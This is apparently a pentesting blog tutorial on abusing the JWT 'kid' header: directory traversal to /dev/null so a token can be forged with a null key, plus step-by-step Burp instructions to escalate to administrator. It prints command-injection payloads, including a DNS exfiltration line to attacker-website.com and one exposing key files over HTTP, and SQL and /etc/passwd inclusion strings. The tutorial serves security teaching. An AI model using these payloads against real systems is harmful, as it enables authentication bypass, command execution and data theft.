- The exploitation of kid header in JWT (Directory Traversal and command Injection) (RS256 and HS256)
kid = Key ID
As in the above exploitation, we have seen that we have replaced the kid value with our own kid value so that the server knows which public key should be used for the digital signature verification.
kid or key id helps the server to identify which key should be used when verifying the signature.
Directory Traversal
This kid parameter exploitation only works when directory traversal is possible in the kid parameter. In the case of a symmetric hashing algorithm (HS256), it is more dangerous because we can traverse it to /dev/null, which is mostly present on most Linux systems and the value of this file is null as it is an empty file. Therefore, signing the token with a Base64-encoded null byte will result in a valid signature.
In an asymmetric (RS256) case, we have to find the file upload vulnerability or any method by which we are able to write our public key and then use the directory traversal to that file path.
For the “/dev/null” like value in the Windows system, you can refer to this. I have not tried in Windows. Post
If you try to create a file like this, it is never created. I think we can use this in the Windows system for a null byte.
echo 1 > nul
echo 1 > c:\nul
Command Injection
We can also check for the command injection issue, if possible, then we can go to the directory of the key file and run the HTTP server there. After that, we hit the domain name with that port and accessed that key file. It is helpful when the algorithm is symmetric (HS256). We can also do more things as command injection is working everything depends on the privileges that we have in the system.
Example of Command injection payload copied from Pentester academy
Payload: /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337 &
“kid” : “1” | whoami;
“kid”: “kid;dig $(id | base64 -w0).attacker-website.com”
Also, check for the below vulnerabilities in the kid parameter:
SQL Injection
“kid” : “SELECT * FROM users WHERE username = ‘admin’-‘ AND password = ‘’”
Local File Inclusion
“kid” : “../../../etc/passwd”
Exploitation Steps (Symmetric HS256):
1. Capture the JWT request with the HS256 algorithm.
2. Send the request to the repeater
3. Navigate to “JWT EditorKeys” Burp extender
4. Click on “new Symmetric Key” → Click on “Generate” (Don’t need to select the key size)
5. Now, as we all know, we are going to sign our JWT token by Null character so for this, we need to change the value of “K” to the base64 of null. i.e (AA==) and click on Ok. Now you are thinking what exactly we are doing here? So we are signing our JWT token by null character and will point the kid value to /dev/null. So server takes the null value for creating the signature and both the signatures should look identical to the server. When the signature matches, then only our modified request is accepted by the server.
6. Navigate back to the repeater request, and change the values, whatever you want according to the request. Like in the below screenshot I have changed the “Sub” from “Wiener” to “administrator” for the administrative privileges.
7. Use directory traversal to replace “kid” value to /dev/null. In my case it was “../../../../../../../dev/null”
8. Click on “sign” in the “JSON web token” Burp extender and sign it with the symmetric key that you have created in the earlier step.
9. Send the request and you will get a successful response if directory traversal is allowed in the “kid” parameter by the server and it is misconfigured.
Comments
Post a Comment